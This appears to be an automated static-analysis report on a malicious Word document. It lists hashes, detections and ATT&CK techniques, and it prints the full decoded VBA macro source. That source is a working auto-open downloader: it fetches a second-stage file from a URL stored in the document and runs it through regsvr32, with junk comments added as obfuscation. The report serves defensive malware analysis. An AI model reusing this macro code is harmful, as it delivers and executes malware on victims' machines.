Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 dfde5735b5363c1e…

MALICIOUS

Office (OOXML)

117.3 KB Created: 2020-07-20 09:11:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: f43a1d4e49572751afe528bf050744ab SHA-1: 34b248494db7d7c037d441b8d0389fef3c13dd3f SHA-256: dfde5735b5363c1e820fd28bc03543f08392a05cd616b3b599be43ec6ca39efd
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The `autoopen` macro executes a `Shell` command which calls `URLDownloadToFile` to download a file named 'c2.pdf' from a URL specified in the document's custom XML. This indicates the document's purpose is to act as a downloader for a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    ' Refuse scion dev
Shell wu & bn & "32 c2.pdf"
End Sub
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal kc As LongPtr, ByVal Ff As String, ByVal Js As String, ByVal wE As LongPtr, ByVal qs As LongPtr) As Long
#Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
Bu = ActiveDocument.CustomXMLParts(ActiveDocument.CustomXMLParts.Count).SelectNodes("//Items")(1).ChildNodes(2).Text
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4596 bytes
SHA-256: 6594518f80cd2e4165c1df5496ba00c824412f31cfe64cd4ef6a3eff31a6c1ad
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "nb"
Function q2(EN)
    
' Minister granny americas chairman
' Separately

' Liechtenstein receptacle ceremony wove
' Nondescript parasol faulty
' Shop retarded simon possible
' Imbecile ability roam
' Streets biology botany uncontrolled
' Chart inclusive

' Occupational notes profit dit oriole
' Pondering hows margin
' Tornado truculent riders chevrolet fresco
' Seattle

' Winnings middlesex abusing chicago facilitate
' Lincolnshire gel rewritten zulu bot
' Scroll sand transatlantic forums refectory characterization
' Pricing tarn situated mel nil
' Wikipedia epitome bedford glorification strap
' Magnum simulations

' Dw rope hopefully wmo
' Tobago discordant objecting colder crazy
' Score tahiti
' Instability quito athletics

' Porous jd knoll
' Html hows
' Shannon dun
' Hearts linear drop dal retailer israeli j
End Function
Sub autoopen()
Bu = ActiveDocument.CustomXMLParts(ActiveDocument.CustomXMLParts.Count).SelectNodes("//Items")(1).ChildNodes(2).Text

' Enforcement brooks laughable
' Tex genealogy
' Carnal pineapple peacock palmer

' Metaphor belgrade unlettered perforated mx
' Deplore emaciated question flaw gifts
' Gluttony somebody keeps av oxidation
' Abusing
' Sam deeply abs observe explicitly
' Quilt entries
frm.download Bu, "c2.pdf"

' Valid
' Exec budapest
' Writhe electrode visitation heather
' Disheartened cnet dictionary sewage

' Canteen agents virtuoso matting
' Recorders devotedness unblemished
' Investigated sega journalist
' Yu hawser zulu slug
' Bright building

' Underfoot unkempt arson carlo
' Recruit admiringly plant

' Afire toilsome bereft centaur frontier
' Theoretical corkscrew
' Marianne squall ichabod intl hundred
' Soldiery cabman gba satisfaction
' Refuse scion dev
Shell wu & bn & "32 c2.pdf"
End Sub

Attribute VB_Name = "nb1"
Sub e4()

' Maternity viper idiosyncrasy monaco
' Harbor british immutable terminals
' Scabbard delivers puppies
' Flaw bounce mechanics educated cringe perfectly
' Forty-nine rivet funk maiden

' Aesthetics lingo quite overtakes guaranteed advertisements
' Lawn electoral vertically perplexing another trowel

' Blockhead salesman voice dpi
' Vagrant
' Reasoning deviation colors
' Jet david credits
' Walter

' Rosewood innovation
' Performer haven mothers para admissions

' Always medieval sedimentary erotic lucre
' Keyhole nat omissions
' Antecedent soar depreciation supervisor
' Altitude says
' Bottles actress co-operative democrats
' Offense shrivel uv vented indication

' Assignment shareware relocation hysteria
' Surfing stuff
' Ft ya

' Meet designate likelihood
' Varuna collecting relocation gui
' Hawthorn rejected hypotheses goldsmith

' Sixty-two high portsmouth cigarettes
' Overweening filter bg geordie exchanges genes acting
' Descending kat kodak

' Ventricle examines hapless stint
' Second-rate absorption ing respiratory lawyers
' Grande manna
' Autocracy consumptive effie

' Predict cement tells toolbar oxide
' Separate mint wp wrestling
' Assistant syracuse ramble safari
' Ind nasa
' Tokyo lisa unintentional
' Orion

' System d collections
' Alcohol cell morrison crm
' Disfigure baseness steady

' Dumfounded strand syndicate
' Poodle rated rental maintains libya
' Joe calvary
End Sub

Attribute VB_Name = "e"
Public Const wu As String = "reg"
Public Const bn As String = "svr"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal kc As LongPtr, ByVal Ff As String, ByVal Js As String, ByVal wE As LongPtr, ByVal qs As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal kc As Long, ByVal Ff As String, ByVal Js As String, ByVal wE As Long, ByVal qs As Long) As Long
#End If

Attribute VB_Name = "frm"
Attribute VB_Base = "0{A4D0BB2B-DF5D-4296-B380-BC7BAE2C66F9}{2178251B-7E8D-4910-86A1-67C2938B377C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28160 bytes
SHA-256: f9d28fa4d114e8da7c4a92ddac7b9e75ba6cbd73bf9527040935c7e160257a3a

Open this report in the interactive analyzer, or submit your own file for analysis.